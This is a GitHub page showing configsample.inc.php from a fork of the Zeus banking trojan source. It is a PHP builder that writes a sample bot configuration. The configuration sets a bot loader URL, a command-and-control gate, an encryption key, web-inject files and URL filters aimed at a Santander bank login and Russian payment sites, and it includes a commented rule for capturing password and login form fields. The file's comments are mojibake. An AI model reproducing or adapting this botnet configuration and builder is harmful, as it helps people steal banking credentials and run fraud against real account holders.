forked from zeustrojancode/Zeus
-
Notifications
You must be signed in to change notification settings - Fork 0
/
configsample.inc.php
58 lines (52 loc) · 2.15 KB
/
configsample.inc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Ñáîðêà ïðèìåðà ôàéëà êîíôèãóðàöèè.
///////////////////////////////////////////////////////////////////////////////////////////////////
/*
Ñáîðêà ïðèìåðà ôàéëà êîíôèãóðàöèè.
IN $dir - äèðåêòîðèÿ, â êîòîðîé áóäóò ñãåíåðèðîâàíû ôàéëû.
*/
function buildConfigSample($dir)
{
$host = "http://localhost";
$dt = ";Build time: ".BO_BUILDTIME."\r\n".
";Version: ".BO_CLIENT_VERSION."\r\n\r\n".
"entry \"StaticConfig\"\r\n".
" ;botnet \"btn1\"\r\n".
" timer_config 60 1\r\n".
" timer_logs 1 1\r\n".
" timer_stats 20 1\r\n".
" url_config \"".$host."/config.bin\"\r\n".
" remove_certs 1\r\n".
" disable_tcpserver 0\r\n".
" encryption_key \"secret key\"\r\n".
"end\r\n\r\n".
"entry \"DynamicConfig\"\r\n".
" url_loader \"".$host."/bot.exe\"\r\n".
" url_server \"".$host."/gate.php\"\r\n";
$dt .= " file_webinjects \"webinjects.txt\"\r\n".
" entry \"AdvancedConfigs\"\r\n".
" ;\"http://advdomain/cfg1.bin\"\r\n".
" end\r\n".
" entry \"WebFilters\"\r\n".
" \"!*.microsoft.com/*\"\r\n".
" \"!http://*myspace.com*\"\r\n".
" \"https://www.gruposantander.es/*\"\r\n".
" \"!http://*odnoklassniki.ru/*\"\r\n".
" \"!http://vkontakte.ru/*\"\r\n".
" \"@*/login.osmp.ru/*\"\r\n".
" \"@*/atl.osmp.ru/*\"\r\n";
$dt .= " end\r\n".
" entry \"WebDataFilters\"\r\n".
" ;\"http://mail.rambler.ru/*\" \"passw;login\"\r\n".
" end\r\n".
" entry \"WebFakes\"\r\n".
" ;\"http://www.google.com\" \"http://www.yahoo.com\" \"GP\" \"\" \"\"\r\n".
" end\r\n";
$dt .= "end\r\n";
writeFile($dir."\config.txt", $dt);
$dt = file_get_contents($GLOBALS['dir']['source']['other'].'\webinjects.txt');
if(strlen($dt) < 10)fatalError("Failed to open web injects source file.");
writeFile($dir.'\webinjects.txt', $dt);
}
?>